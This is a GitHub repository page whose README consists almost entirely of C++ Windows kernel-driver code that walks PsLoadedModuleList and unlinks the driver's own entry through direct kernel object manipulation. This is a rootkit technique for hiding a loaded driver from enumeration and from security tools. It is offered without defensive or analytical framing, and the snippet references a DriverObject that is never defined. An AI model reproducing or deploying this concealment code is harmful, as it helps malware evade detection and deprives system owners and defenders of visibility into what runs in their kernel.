Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Appearance settings

DErDYAST1R/PsLoadedModuleList-Dkom-Unlinking

Open more actions menu

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

5 Commits
5 Commits
 
 

Repository files navigation

PsLoadedModuleList-Dkom-Unlinking

PsLoadedModuleList Unlinking through DKOM Manipulation

EXTERN_C
PLIST_ENTRY PsLoadedModuleList;

typedef struct _KLDR_DATA_TABLE_ENTRY
{
	LIST_ENTRY InLoadOrderLinks;
	PVOID ExceptionTable;
	ULONG ExceptionTableSize;
	// ULONG padding on IA64
	PVOID GpValue;
	/*PNON_PAGED_DEBUG_INFO*/ PVOID NonPagedDebugInfo;
	PVOID DllBase;
	PVOID EntryPoint;
	ULONG SizeOfImage;
	UNICODE_STRING FullDllName;
	UNICODE_STRING BaseDllName;
	ULONG Flags;
	USHORT LoadCount;
	USHORT __Unused5;
	PVOID SectionPointer;
	ULONG CheckSum;
	// ULONG padding on IA64
	PVOID LoadedImports;
	PVOID PatchInformation;
} KLDR_DATA_TABLE_ENTRY, * PKLDR_DATA_TABLE_ENTRY;

extern "C" void DkomUnlinking() {
	PKLDR_DATA_TABLE_ENTRY pSelfEntry = nullptr;
	auto pNext = PsLoadedModuleList->Flink;
	if (pNext != NULL)
	{
		while (pNext != PsLoadedModuleList)
		{
			auto pEntry = CONTAINING_RECORD(pNext, KLDR_DATA_TABLE_ENTRY, InLoadOrderLinks);

			auto pBase = pEntry->DllBase;
			if (DriverObject->DriverStart == pBase)
			{
				pSelfEntry = pEntry;
				break;
			}

			pNext = pNext->Flink;
		}
	}

	//////////////////////////////////////////////////////////////////////////////////////////////////////////

	if (pSelfEntry)
	{
		KIRQL kIrql = KeRaiseIrqlToDpcLevel();
		auto pPrevEntry = (PKLDR_DATA_TABLE_ENTRY)pSelfEntry->InLoadOrderLinks.Blink;
		auto pNextEntry = (PKLDR_DATA_TABLE_ENTRY)pSelfEntry->InLoadOrderLinks.Flink;
		if (pPrevEntry)
		{
			pPrevEntry->InLoadOrderLinks.Flink = pSelfEntry->InLoadOrderLinks.Flink;
		}
		if (pNextEntry)
		{
			pNextEntry->InLoadOrderLinks.Blink = pSelfEntry->InLoadOrderLinks.Blink;
		}
		pSelfEntry->InLoadOrderLinks.Flink = (PLIST_ENTRY)pSelfEntry;
		pSelfEntry->InLoadOrderLinks.Blink = (PLIST_ENTRY)pSelfEntry;
		KeLowerIrql(kIrql);
	}

	//////////////////////////////////////////////////////////////////////////////////////////////////////////
}

Releases

Packages

Contributors

Morty Proxy This is a proxified and sanitized view of the page, visit original site.